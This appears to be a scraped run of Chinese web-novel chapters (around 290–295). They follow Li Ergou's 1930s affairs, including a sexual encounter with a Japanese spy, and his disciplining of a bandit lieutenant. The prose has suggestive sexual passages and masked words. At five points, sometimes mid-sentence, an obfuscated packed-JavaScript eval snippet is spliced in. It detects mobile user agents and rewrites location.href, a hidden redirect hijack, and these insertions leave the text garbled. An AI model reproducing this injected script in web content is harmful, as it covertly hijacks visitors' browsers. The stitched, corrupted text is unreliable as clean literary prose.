“静雯,干爹这次去南京做什么?他不是早就不过问政坛之事了吗?”李二狗交完公粮,搂着静雯闲聊道。 静雯像一只乖巧的小猫一样蜷缩在李二狗怀里,此刻她觉得自己是这个世界上最性福的女人。 “我听干爹说,日本人占领了东三省之后,准备扶持废帝建立所谓的满洲国,要彻底把东北从中国**出去,南京国民政府对此竟然毫无办法,干爹这次是相约了几个党内元老一同去南京**的。” 李二狗感慨道:“没想到干爹退出政坛多年,在国家危难之时,还是如此热血澎湃,是我们学习的榜样啊。” 静雯附和道:“是啊,自从去年日本人占领东三省之后,干爹几乎天天在家里骂小日本,骂南京国民**。” 李二狗忿忿道:“是啊,哪一个国家的政府能在连丢了三个省之后却连屁都不放一声?难怪日本人瞧不起咱们,实在是太窝囊了,蒋某人确实是民族罪人,他应该永远被钉在历史的耻辱柱上。” “你可能还不知道,干爹当年就是因为看不上蒋某人才一气之下退出政坛的。” 李二狗有些担心地说道:“干爹这次去南京**,他不会对干爹不利吧?我听说那个人阴狠毒辣,对付异己绝不手软。” “应该不会,干爹很多同僚和部下如今都在政府要害部门,他不会为了对付干爹这样一个闲云野鹤而得罪他们吧?” 李二狗想到往事,不由得叹息一声。 “现在想来,当年确实是我错怪干爹了,我竟以为他和日本人相勾结,我真是愚蠢。” “你确实冤枉干爹了,你知道吗?前段时间,井伊商社中国分社又重新建立起来了,他们还想再次拉拢干爹一起开发矿产,结果**爹一口回绝了,干爹现在看见日本人就恨得牙痒痒。” 李二狗心里“咯噔”一下,井伊商社又回来了,那酒井空会不会也回来了? 日本人虽然可恨,但日本女人却给李二狗留下非常深的印象。 李二狗故意说道:“我记得井伊商社那个社长,好像叫明石有信吧?一脸奸相,一看就是一个阴险狡诈的人,干爹不和他合作是对的。” 静雯没有发现李二狗的异样。 “这次明石有信没有回来,是他以前的助理回来当了社长,好像叫什么酒井空,听说是一个妖艳无比的女人。” 李二狗喉结滚动了几下,他故意咳嗽两声,以掩饰内心的躁动。 “井伊商社这时候回到中国,肯定不是为了做生意这么简单。” “干爹也这样认为,日本人不费吹灰之力就占据了东三省,轻易占了这么大的便宜,他们肯定不会就此收手,接下来肯定会觊觎华北。” 李二狗想到了那张华北五省地形地貌图,井伊商社本质上就是日本政府派到中国的**。 不过想到酒井空是个日本女特务,李二狗内心还是感到特别遗憾。 李二狗一直认为,女人不应该卷入到**和军事斗争中来。 他暗暗告诫自己,酒井空不是一般女人,一定不要和她有过多的纠缠,否则很容易被她利用。 可对于一个曾经带给他美好记忆的异国女人,李二狗还是决定去见见她,只是见见她罢了! 两人又胡乱说了一些无关紧要的话,便抱在一起沉沉睡去。 第二天早上,静雯去上班之后,李二狗便穿戴整齐,来到井伊商社中国商社,果然还是在原来的地方。 “站住!干什么的?”门口的两个保镖穿着黑色西装,操着一口不太流利的中国话喝问道。 “我找你们社长。” “你是什么人?和社长有预约吗?” “我是你们社长的老朋友,你去告诉她,就说李二狗特来拜访。” 保镖看李二狗穿得人模狗样,像是有身份有地位的人。 “那你先在这等着,我去打个电话请示一下我们社长。” 打过电话之后,保镖对李二狗的态度立刻变得极为恭敬。 “李先生,我们社长请您进去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039003|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 李二狗点点头,大步走了进去,刚走到办公楼门口,便看见酒井空已经在楼下大厅等他。 她红衣罩体,修长的玉颈下,一片酥胸如凝脂白玉,半遮半掩,素腰一束,竟不盈一握,一双颀长水润匀称的秀腿裸露着,就连秀美的莲足也在无声地妖烧着,发出诱人的邀请。 她轻启朱唇,一笑倾城,那份妖艳之美如同晨曦中的火焰,炽热而耀眼。 “二狗先生,好久不见。” 再一次听到“二狗先生”这个称呼,李二狗差点难以自持,之前所有的决定都被抛诸脑后。 “酒井小姐,好久不见。” 酒井空离开中国回到日本之后,一直对李二狗念念不忘。 他的风度、他的谈吐、他的体贴、他的温柔,还有他的力大无穷都令她回味无穷,整个日本都找不到一个像他一样伟岸的男人。 两人上楼时刻意保持着距离,进入酒井空的办公室关上房门之后,两人四目相对,一串晶莹的泪珠从酒井空的眼睛里流出。 “你把我都忘了吗?” 李二狗一愣,只觉得内心有一团火焰在燃烧,熊熊烈火把他的心肝脾肺都烤出了味道,那味道令他心醉神迷 “怎么会?你一直都在我心里。” 酒井空听罢,再也控制不住自己的情感,一下扑到李二狗怀里。 “狗儿,我好想你,日日想时时想,每时每刻都在想,我身体的每一寸肌肤每一个细胞都在想你。” “空儿,我也想你,也是日日想时时想,每分每秒都在想,我身体的每一根毛发都在想你。” 酒井空娇艳欲滴的红唇立刻吻住了李二狗的嘴。 这个吻长的令李二狗都有些窒息。 酒井空呢喃道:“狗儿,抱我进去。” 李二狗没有丝毫犹豫,抱起酒井空便进了里面的休息室。 他把酒井空放到床上,看着这个娇艳欲滴的日本女人,李二狗突然想到了丢失的东三省,动作突然变得粗鲁起来。 第291章 二狗,别走好吗 酒井空极尽温柔之能事,把李二狗伺候地舒舒服服。 李二狗认为,比起伺候男人,世界上再也没有比日本女人更懂男人的女人了。 只要你一个眼神或者肢体上表现出一个动作,她立马就能领会到你的意思,然后用尽自己全身技能去取悦你。 即使你打她两下,咬她两口,她也绝不会表现出任何自己的情绪。 她躺在床上,仿佛就是为了完全取悦你。 毫不利己,专门利人! 李二狗正在回味刚才的某一个瞬间,嘴角不自觉露出一丝满足的笑容。 酒井空手指轻轻摩挲着李二狗的胸膛,说道:“二狗,你能不能劝一劝吴有德?和我们井伊商社合作开发矿产是一本万利的生意,我实在不理解他为什么要拒绝和我们合作,我们以前的合作是很愉快的。” 李二狗没想到酒井空会在床上提出这种要求。 “很愉快?当初你们突然撤离中国,让**爹陷入非常大的被动,经济上的损失暂且不提,自己还差点锒铛入狱,你想想,他还敢和你们合作吗?” 酒井空一时语塞,好在她早对吴有德的底细进行了一番详细的调查。 “无非是一些经济上的损失,锒铛入狱不至于,吴有德在中国的身份我是知道的。” “不在于损失了多少,关键是对你们的信誉失去了信心。” “正因为如此,为了弥补我们的过失,我才要继续和他合作,这样以前的损失也能弥补回来,不是吗?” 李二狗知道酒井空之所以选择和吴有德合作,无非是看中他在政府中的人脉。 “空,你有所不知,现在政府有人忌惮**爹的影响力,一直想置他于死地,现在和你们合作,容易被人抓住把柄,请你理解他的难处。” “二狗,我们之间的合作可以是暗地里的,这一点你可以放心。” 李二狗真没想到酒井空会如此执着,他决定改变策略。 “哎,吴有德虽然是**爹,但他生意上的事情一直不让我参与,我的意见他根本不会采纳。” 酒井空并不相信李二狗的说辞。 “你就帮人家说说嘛,人家不会亏待你的。” 酒井空一边撒娇一边用温热嫩滑的肌肤磨蹭李二狗的身体。 李二狗此刻就像站在云端,上不去下不来,但他又岂是能被女人轻易拿捏之人。 “空,我不说你也应该清楚,你们日本侵占了我们东三省,现在又要成立满洲国,**爹怎么还敢和你们日本人合作?他不想被人骂是汉奸!” 酒井空明显愣了一下,她没想到李二狗会说得如此直接。 “那是中日政府之间的事情,可我只是一个商人,在商言商,吴有德不选择和我们井伊商社合作是他的损失。” “虽说在商言商,但商人也是有国家的,现在这个当口,谁敢和你们日本人合作?” “可你现在就在我床上!” 李二狗被反驳得哑口无言。 “好吧,是我唐突了。” 李二狗边说边起身穿衣服,酒井空突然在身后猛地把他抱住。 “二狗,我错了,你不要走好不好?” 李二狗不是见了女人就迈不开腿的男人,他岂能被一个女人如此拿捏,何况还是一个日本女人。 “酒井小姐,咱们只是一些风月上的往来,我希望咱们之间的关系还是纯粹一些比较好。” 李二狗说着已经穿好衣服,酒井空在床上光着身子,泪眼婆娑地看着李二狗。 “二狗,别走好吗?我不勉强你了。” “酒井小姐,也许今天我本不该来,冒犯了,告辞。” “二狗!”酒井空声嘶力竭地哀求道。 李二狗丝毫不顾身后酒井空的苦苦挽留,健步走出了她的办公室。 酒井空的目光渐渐由温柔变成了狠厉,她的耳边回响起明石有信在她来中国前的话语。 “要想成就一番大事,要学会利用男人,但一定不要沉溺于男女之情,否则你就会失去应有的理智和判断。” “李二狗,你等着,我一定会让你回来跪在我面前求我! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039004|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 八嘎呀路!” 李二狗脚步踉跄地从井伊商社出来,内心充满了自责。 他明明知道酒井空是日本女特务,接近自己一定有不可告人的目的,可自己还是忍不住和她纠缠在一起。 如果不是自己意志坚定,很可能已经拜倒在她的石榴裙下。 他暗暗告诫自己,一定不要再和她发生任何纠葛。 李二狗回到吴公馆,正看到司机小陈在修理汽车,吴有德去了南京,他便闲了下来。 “李先生,您回来了。” 李二狗掏出一盒烟扔给小陈,小陈接过烟,嘴咧得和瓷盆似的。 “谢谢李先生。” “小陈,咱们年纪相仿,你叫我狗哥便是。” 小陈绝对是面有猪相、内心嘹亮之人,他嘿嘿一笑,说道:“我哪敢啊?您是吴爷的干儿子,以后这个吴公馆都是您的。” “你既然知道这吴公馆以后是我的,那我让你叫狗哥你还担心什么?就叫狗哥。” “狗哥,嘿嘿。” “这样显得多亲切,小陈,我有件事想请你帮个忙。” “狗哥您千万别这么客气,直接吩咐便是。” “我想跟你学开车,不知道你这个师父愿不愿意收我这个徒弟。” “狗哥您真会开玩笑,什么师父徒弟的,您要是愿意学,我当然愿意教。” “那你现在有空吗?” “现在?这里可学不了,咱们得选择一个空旷的地方。” “那就去城郊找块空地吧。” 小陈带着李二狗来到城外的一块空地,李二狗天资聪颖,才学了一个时辰,便学会了全部驾驶技术。 “狗哥,您真是天才。” “主要是你这个师父教得好,今晚我请客,请你到百乐门消费消费。” 小陈听见去百乐门消费消费,顿时两眼放光。 李二狗亲自开着汽车回到吴公馆。 “小陈,晚上七点,百乐门见。” “狗哥还真请啊?嘿嘿,这怎么敢当!” “说到当然就得做到,晚上见。” 第292章 对我来说,胡家大院没有秘密 在李二狗甜言蜜语的猛烈攻势下,静雯主动提出买一辆斯蒂庞克牌小轿车送给李二狗。 李二狗欣然接受了她的馈赠,开着新车带着她在省城一连兜了几天风。 一天晚上,李二狗和静雯经过一番鏖战之后,李二狗突然觉得自己该回江东了。 “静雯,我来省城有些日子了,明天我得回去了。” “二狗,你到底什么时候能留在省城不走了,我真的舍不得你。” “还得再等些日子,现在有了汽车,几个小时就到了。” “可人家想天天和你待在一起嘛。” “静雯,小别胜新婚,天天待在一起就腻了。” “哼,怪不得不想来,原来是和我待腻了。” 面对静雯的刁蛮任性不讲理,李二狗唯一能做得就是彻底征服她。 很快,屋内就响起了琴瑟和鸣的声音。 静雯站在云巅,身颤腿抖嘴哆嗦,李二狗无论提出什么要求,她都统统答应。 第二天,李二狗独自驾车回到江东县。 李二狗为人一向低调,为了不引人注目,他把汽车停在以前在江东县城购置的一所院子里,然后骑马返回胡家大院。 张二驴兴奋地满面红光。 “狗哥,还是你有办法,去了一趟省城就解决了这么大的难题。” 李二狗不明白张二驴指的难题是什么,但他不能让张二驴知道自己不知道。 “二驴,我给你说过多少次了,遇事一定要沉着冷静,你这样喜形于色,不知道的还以为你小子要娶媳妇呢。” “嘿嘿,狗哥教训的是。” 李二狗敏锐地从张二驴的表情中发现他应该是恋爱了。 “二驴,你小子是不是有什么事瞒着我?” 张二驴一愣,随即说道:“狗哥,什么事都瞒不住你,嘿嘿。” “什么时候开始的?” “刚开始,不过狗哥你放心,我们什么都没发生,在没有经过你的同意之前,我绝不敢越雷池半步。” 李二狗很满意张二驴这种恭敬的态度,哪怕他只是在做表面文章。 “念秋是什么态度?” 张二驴惊讶地张大了嘴巴,他和念秋眉来眼去也就这几天的事情,而这段时间,李二狗去了省城,他是怎么知道的? “狗哥,你咋知道的?” 其实很简单,张二驴现在是胡家大院协管,在胡家大院也是属于有身份有地位的人,他不可能看上粗使丫鬟。 四季已死,整个胡家大院适龄的大丫鬟之中,只有迎春和念秋,傻子也会选择念秋。 “二驴,你记住,对我来说,胡家大院没有秘密。” 张二驴惊出一身冷汗。 前几天,李二狗告诉自己,要在下人中发展几个眼线,没想到他早就这样做了。 “狗哥,你觉得念秋怎么样啊?” “配你小子绰绰有余,好好对人家,要是以后你对她不好,小心我砸断你的狗腿。” “嘿嘿,我一定好好对念秋,谢谢狗哥。” 张二驴没有说解决的难题是什么,李二狗也没有追问,他早晚会知道。 来到于兰芝院子里,于兰芝正抱着梦瑶晒太阳。 李二狗给于兰芝买了一支丹祺牌口红,给梦瑶买了一个布娃娃。 这是他的经验。 只要出门,无论礼物大小,总要买一些回来,女人孩子就吃这一套。 此刻在他的口袋里还装着两支口红,那是送给**和张玲玉的,只不过色号不同罢了。 “二狗,还是你厉害。”于兰芝用手指摩挲着口红,面色潮红。 “送你支口红有什么厉害的?这是我应该做的。” 于兰芝笑道:“人家说的不是这个,孙竹刚现在是县长,那是多大的官啊!可他还想着给咱们送来五千斤小麦和五千斤地瓜面,你这是多大的面子啊!” 原来刚才张二驴说的解决难题是这个,看来省政府拨付给江东县的救济粮已经送到了。 “孙县长是个知恩图报的人。” “知恩图报?你是说你对他有恩?” 李二狗自知失言,赶忙解释道:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042726|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是说以前咱们胡家大院捐给县政府那么多粮食,现在咱们遇到困难,县政府拨给咱们一点粮食也是应该的。” 于兰芝没有多想,只是说道:“咱们大院人口多,看这架势,今年地里还是长不出粮食,这点粮食也是杯水车薪啊。” “车到山前必有路,放心吧,我不会让你们娘俩饿着的。” 于兰芝幸福地依偎在李二狗胸前。 “二狗,有你在,我们娘俩就安心了。” 日子在波澜不惊中飞逝,转眼间就到了麦收时节,因为下了几场及时雨,地里麦子长势喜人。 不过因为大量人口外出逃荒,实际播种面积不到实有土地的一半。 “狗哥,不好了,里隆村的小麦一夜之间被人割没了。” “知道是谁干的吗?” “转经山的土匪。” 转经山今年开春以后聚起了一群土匪,乱世出响马,众多逃荒之人纷纷加入,短时间内聚起了几百人,大有超越清风寨成为江东第一山寨之势。 但他们和清风寨不同,打家劫舍,为非作歹,祸害了周围不少地主大院。 但因为人数众多,县政府轻易也不敢去招惹他们。 “怎么知道是转经山的土匪干的?” “昨天夜里土匪派人堵住村子几个出口,谁敢出村,他们立即开枪,天亮时发现,地里的小麦全被割走了,附近几个村子也有不同程度的损失。” 转经山的土匪基本上都是农民出身,要是几百人同时割麦子,一夜之间就可以收割上千亩。 “二驴,这群人肯定不会善罢甘休,转经山附近的其他村子危险了,去警察局报案了吗?” “报了,但我估计没什么用,几百个土匪,县里警察根本不敢惹。” 几百个土匪同时出动,县里那帮警察肯定不敢招惹。 虽然被**的是佃户家的小麦,但佃户家的小麦被抢,胡家大院肯定就收不上来租子,最后受损的还是胡家大院。 李二狗不得不管,但他现在实在不知道该怎么管。 第293章 霸虎寨 “二驴,咱们大院和民团能派出去的人手有多少?” “咱们自身还得留下一些人手保护大院,满打满算只能派出三十人左右,和几百名土匪比起来,实力差距太悬殊了。” 张二驴说得没错,如果三十个人在大院防守,几百名土匪不一定能攻进来,但要在平地上交手,胜负根本没有悬念。 李二狗背着手来回踱步,一时他也没有好的办法。 “现在有些佃户已经开始抢收麦子,但麦子还没有完全成熟,现在收割损失不小,关键是即使把麦子收到家里,也挡不住那些土匪去家里抢啊。” 李二狗意识到对付这群土匪只有两个办法,要么全部消灭,要么兼并重组。 鉴于大部分土匪都是穷苦农民出身,李二狗更倾向于选择第二种方式。 但无论采取哪种方式,都不是轻而易举能够完成的事情,毕竟对方有几百人。 李二狗本来想组织村民和民团一起联防联控,可一旦产生冲突,伤亡再所难免。 “二驴,这群土匪来势汹汹,晚上一定要做好大院的安全警戒,千万不能麻痹大意。” 张二驴对此有不同看法。 “狗哥,谅他们也不敢打咱们胡家大院的主意,角楼上那两挺**谁见了不怕?我倒想他们来,就地消灭,免得咱们还得想办法对付他们。” 李二狗没有张二驴这么乐观,他想得更加深远,人在走投无路的时候,是不会考虑那么多的。 “千万不可麻痹大意,想打咱们胡家大院主意的人不在少数。” “放心吧,狗哥,我一定提高警惕。”张二驴最担心的还是土匪抢粮的事情,“估计那些土匪今晚还会出来抢夺粮食,咱们是不是派些人下去?” 李二狗想了想,说道:“可以派些人下去,但记住一点,一定不要与他们产生正面冲突,遇到情况就放枪,能吓走就吓走,吓不走也不要主动出击。” 张二驴走后,李二狗来到清风寨。 议事厅内,气氛凝重。 “老三,转经山到底是什么情况?” 陈老三最近大门不出,二门不迈,对外界的情况一无所知。 他以为李二狗只是担心转经山会威胁清风寨的生存,便笑呵呵地说道:“我听说他们号称有几百人,想来也是扯大旗作虎皮,狗哥,你放心,他们威胁不了咱们。” 李二狗面无表情,眉头拧成疙瘩,显然对陈老三的回答很不满意。 “我问你他们是什么情况?” 陈老三一时语塞,结结巴巴地说道:“我听说他们大当家叫黄飞虎,长得虎背熊腰,曾经当过兵,是个狠辣角色。” “你他娘总是听说听说,你到底知道还是不知道?” 李二狗不在的时候,陈老三一向以大当家的自居,把谁都不放在眼里。 现在李二狗当着众人的面,骂得他下不来台,对此,他毫无办法。 “狗哥……咱们管他们转经山干嘛?他们肯定不敢得罪咱们。” 李二狗不想再和陈老三废话。 “嘎子,你了解吗?” 陈嘎子尴尬地摇了摇头。 “你呢,石头?” 张石头也摇了摇头。 李二狗最后才看向秀才。 “秀才,转经山的情况你了解吗?” 秀才看陈老三等人都不了解,他本不想出这个风头,但他不说又怕自己让李二狗失望。 如果一定要得罪人,那他肯定不愿意得罪李二狗。 “狗哥,前两天,转经山上的土匪打家劫舍、为非作歹,三哥安排我去那里打听了一下,我这还没来得及向大家汇报,今天就正式向大家汇报一下转经山的情况。” 陈老三感激地看了一眼秀才,心想这个人挺有脑子,不在李二狗面前邀功,给足了自己面子。 “那你说说吧,尽量说得详细一些。” “转经山上的土匪山寨号称霸虎寨,大当家的叫黄飞虎,以前是东北军的一个连长,此人有勇有谋、武艺高强,但杀戮成性,一言不合就**脑袋。东北沦陷后,他带着几个溃兵辗转来到转经山落草为寇。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17042727|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “除了黄飞虎,霸虎寨还有三个当家的,二当家名叫沈公豹,是黄飞虎的结拜兄弟,以前也在东北军,此人不仅狠毒,而且好色成性。” “三当家名叫**天,是霸虎寨的军师,此人是前朝秀才,足智多谋,但为人阴险狡诈,霸虎寨很多点子都出自他手。” “四当家名叫慕容燕,此人深藏不露,很少抛头露面,只知道是个颇有几分姿色的女人。” “因为赶上灾年,众多盗匪流寇纷纷加入霸虎寨,他们基本上是来者不拒,很快便**起了几百人的队伍,虽然对外号称有八百人之众,实际上只有四百人上下。” “霸虎寨占据转经山险要的地势和狭窄的一线天入口,确实有一夫当关万夫莫开之势。” “前段时间他们**过一些地主大院,但由于人员素质参差不齐,再加上武器装备不行,造成不小损失,所以他们就转而**小家小户,现在已成为江东一害。” 李二狗没想到自己才去了省城几天,江东竟然窜出这么一股庞大的黑恶势力。 “大家都听见了吧?看看人家秀才做了什么,你们又做了些什么?” 陈老三还是不服气。 “他霸虎寨再厉害,敢得罪咱们清风寨吗?老子分分钟灭了他们!” 李二狗彻底被陈老三激怒了,不知道什么时候陈老三已经变得如此狂妄自大,照此发展下去,终将害人害己。 李二狗决定要好好敲打敲打他。 “陈老三,你他娘是谁老子?吃了几天饱饭,尾巴都翘到天上去了!你还知道自己姓什么吗?” 陈老三仗着和李二狗的特殊关系,争辩道:“狗哥,我又不是针对你!” 李二狗猛地一拍桌子,呵斥道:“不是针对我是针对谁?我说一句你有十句等着我,你有什么不服气的?” 陈老三依然不服气。 “我可没有!再说清风寨谁敢对你不服气?!” 陈老三这话听起来已经有点置气的意思,场面一时变得有些难以收拾。 第294章 你到底是离不开**还是离不开李二狗 坐在陈老三旁边的陈嘎子急忙拉了一把陈老三。 “三哥,你少说两句吧。” 陈老三梗着头,质问道:“怎么?话还不让人说了?我又没说错什么!” 李二狗没想到陈老三这段时间竟然膨胀到如此地步,连自己都不放在眼里,长此以往,清风寨得改姓陈了。 “鉴于陈老三目无组织纪律,狂妄自大,思想认识出现严重偏差,本着惩前毖后,治病救人的方针,从即日起,撤销其清风寨经理和寨务会成员职务,以观后效。同意的请举手。” 李二狗率先举起了手,众人左顾右盼,虽有不同意见,但谁又敢违拗李二狗的意见,于是只能跟随李二狗举起了手。 陈老三目瞪口呆,他没想到自己仅仅因为几句话,李二狗就撤销了他的所有职务。 陈老三“蹭”的一下站了起来,梗着头,嚷道:“狗哥,我不服!” “此项决定已经在寨务会上举手表决通过,你有意见可以保留,但是必须无条件执行,现在请你出去,不要耽误我们开寨务会。” 陈老三此时双眼通红,大颗大颗的汗珠从额头滚滚而下。 “我对你的处理决定不服!你这是搞**!” 陈嘎子担心陈老三做出什么过激的事情,赶忙劝道:“三哥,狗哥现在正在气头上,你还是先出去吧,等找个机会再向狗哥认个错,这事就过去了。” “是啊,三哥,你别说了,等狗哥消了气再说。” 秀才知道,李二狗这样做不仅是为了打击陈老三的嚣张气焰,更主要是拿陈老三这个莽夫来进一步树立自己在清风寨的权威。 陈老三就像水浒传里的黑旋风李逵,对于这样忠诚的人,李二狗不可能不用他。 但别人都在劝,他不可能什么都不做,这样会显得他与其他人格格不入。 “三哥,你还是听大家的吧,真闹僵了就没有回旋余地了。” 陈老三一直对李二狗忠心耿耿,没想到李二狗竟如此六亲不认。 他很伤心,特别特别伤心。 “此处不留爷,自有留爷处,老子下山还不行?!” 陈老三说完摔门而出。 陈嘎子担心陈老三一气之下真下了山,便要追出去继续劝解。 李二狗喊道:“嘎子,不要管他。” 对于陈老三这个人,李二狗比他自己还懂他。 他不可能下山,下了山他吃什么?喝什么?离开李二狗他将一无是处,根本没有立足之地。 更重要的是,即使陈老三失去理智真要下山,望冬也不可能跟他下山。 望冬不走,陈老三便走不了。 “狗哥,三哥要是想不开,真下了山怎么办?” “他下山正好,这样的人就不配留在清风寨,咱们继续开会。” 陈嘎子见状只能回到自己的座位坐下来。 陈老三离开议事厅,郁闷地回到家中。 望冬正好训练完,两人几乎前后脚回到家中。 “望冬,赶紧收拾东西,咱们离开这个鸟山寨!” 望冬不解地问道:“离开山寨?为什么要离开山寨?你要去哪?” 陈老三忿忿地说道:“去哪都行,总比留在这里受腌臜气强。” 在清风寨,陈老三几乎谁都不放在眼里,能让他如此生气的也就只有李二狗了。 “你是不是惹狗哥生气了?” 陈老三跳了起来,满脸愤懑。 “我敢惹他生气?我只是说了几句话而已,他竟然直接撤了我的经理职务,还把我赶出了议事厅!我好歹也是山寨二当家,他怎么能一点面子都不给我呢?实在是太伤我心了,这次我非离开山寨不可!” “你是山寨二当家?谁给你封的?”望冬质问道。 “这还用封吗?凭我和他的关系,在山寨谁敢排在我前面?” “呵呵,你也知道是凭和他的关系?” 陈老三委屈的直掉眼泪。 “那又怎么样?当着大家的面让我下不来台,他还有没有把我当兄弟?这些年我对他可是忠心耿耿,没有功劳也有苦劳吧?他这不是卸磨杀驴吗?” 陈老三最近一段时间在山寨几乎横着走,谁都不放在眼里,望冬也是看在眼里急在心里。 自己曾经提醒过他的几次,他嘴上答应着,实际上依然我行我素。 看来李二狗也是出于这个原因,想要借 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17049247|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机敲打敲打他,并不是真要撤销他的职务。 想到这,望冬便放下心来。 “老三,扪心自问,狗哥对咱俩是真不错,别的不说,要是没有他,咱俩能在一起吗?能过上现在这种衣食无忧的日子吗?” 此时讲这些大道理,陈老三根本听不进去。 李二狗是对自己不错,可自己对李二狗也是忠心耿耿。 将心比心,他也不能这样对待自己。 可他忘记了一个因果事实,是李二狗先对他好,他才对他忠心耿耿。 如果李二狗没有给他好处,他还能无条件地对李二狗忠心耿耿吗? “望冬,反正我在山寨是待不下去,你快收拾东西,咱们一起下山。” 望冬没想到陈老三如此榆木脑袋,考虑事情根本不计后果。 “你想下山你自己下山吧,我不会离开素文姐的。” 陈老三情急之下,嚷道:“你到底是离不开**还是离不开李二狗?你别忘了你是我陈老三的媳妇!” 闻听此言,望冬即刻变了脸色,大颗大颗的泪珠滚滚而下。 “没想到我望冬在你眼里竟是这种女人,陈老三,你实在是太令我失望了。” 其实陈老三说完就后悔了,但他正在气头上,并不打算就此服软。 “你要不是因为他,现在就跟我下山。” 望冬越哭越伤心,干脆一屁股坐在地上嚎啕大哭。 “你走吧,就当我从来不认识你这个人,亏我这些日子对你这么好,你的良心都被狗吃了!” 看着望冬哭得那么伤心,陈老三心疼不已,但他并不打算屈服,不然以后在这个家里,他就真的没有一点地位了。 “好,你不走,我自己走!” 其实陈老三并不打算真要离开清风寨,他只是做做样子给李二狗看。 他就不信,自己离开清风寨,李二狗会从此对自己不闻不问,他不是那样的人。 “你走吧,我会一个人把孩子拉扯大,我苦命的孩子啊,还没出生就没有爹疼,咱们娘俩的命都好苦啊。” “你说什么?” 陈老三跪在地上,双手扶着望冬的肩膀,早已泪眼婆娑。 第295章 负荆请罪 清风寨议事厅。 “最近霸虎寨的土匪在夜间趁着麦收时节在各地偷割小麦,大家都听说了吗?” 陈嘎子和张石头面面相觑,两人现在也是很少下山,对山下发生的事情并不知晓。 李二狗无奈地摇摇头,看向秀才。 “狗哥,霸虎寨这几天确实在组织人员夜里到各村去偷割小麦,其实也不算是偷割,他们简直就是明目张胆地抢。割麦子的时候通常会派几个人**在村口守着,碰到出村的村民,他们立马就开枪。” “今年灾情刚刚有所缓解,农民还指望着地里的麦子活下去,霸虎寨这样做是把他们往绝路上逼啊。” 陈嘎子一脸茫然,他现在越来越搞不懂李二狗心里到底在想些什么。 农民能不能活下去,和你有什么关系? 政府都不管,用得着你一个地主大院的管家咸吃萝卜淡操心? 张石头和陈嘎子的想法是一致的,他和陈嘎子对视一眼,不自觉地撇了撇嘴。 但李二狗在清风寨是神一般的存在,他们不敢顶撞他! 他不仅是清风寨的大当家、胡家大院的管家,江东县县长是他大哥,省城吴有德是他干爹,这样的人谁敢不服? 陈老三作为他最忠诚的走狗,他说处理就处理,更何况对其他人。 秀才对李二狗的想法却深表赞同。 他们杆子帮的口号本来就是保家卫国兴邦。 大至一个帮派,小到一个山寨,若是没有一点家国情怀,永远只能是一群乌合之众,走不长远。 “狗哥,要不然我去一趟霸虎寨劝劝他们?”秀才主动请缨道。 现在霸虎寨的土匪比清风寨多出一倍不止,他们不一定会把清风寨放在眼里,但眼下也确实没有好的办法。 “秀才兄弟,那就辛苦你走一趟,见到黄飞虎,一定要晓以利害,但要记住一点,不要让自己陷入危险境地,如果不行,千万不要激怒他们。” “狗哥,放心,凭咱们清风寨在江东的名头,相信他们多少会给一点面子。” “好,你去准备准备,午后出发。嘎子、石头,近期一定要加强山寨的守卫,切不可大意。” 散会后,李二狗回到家中。 陈老三光着身子,背上绑着几根树枝,正跪在院子里。 看到李二狗,陈老三立即“砰砰砰”磕了三个响头。 “狗哥,我错了,请你原谅我吧。” 李二狗看陈老三滑稽的样子,差点笑出声来。 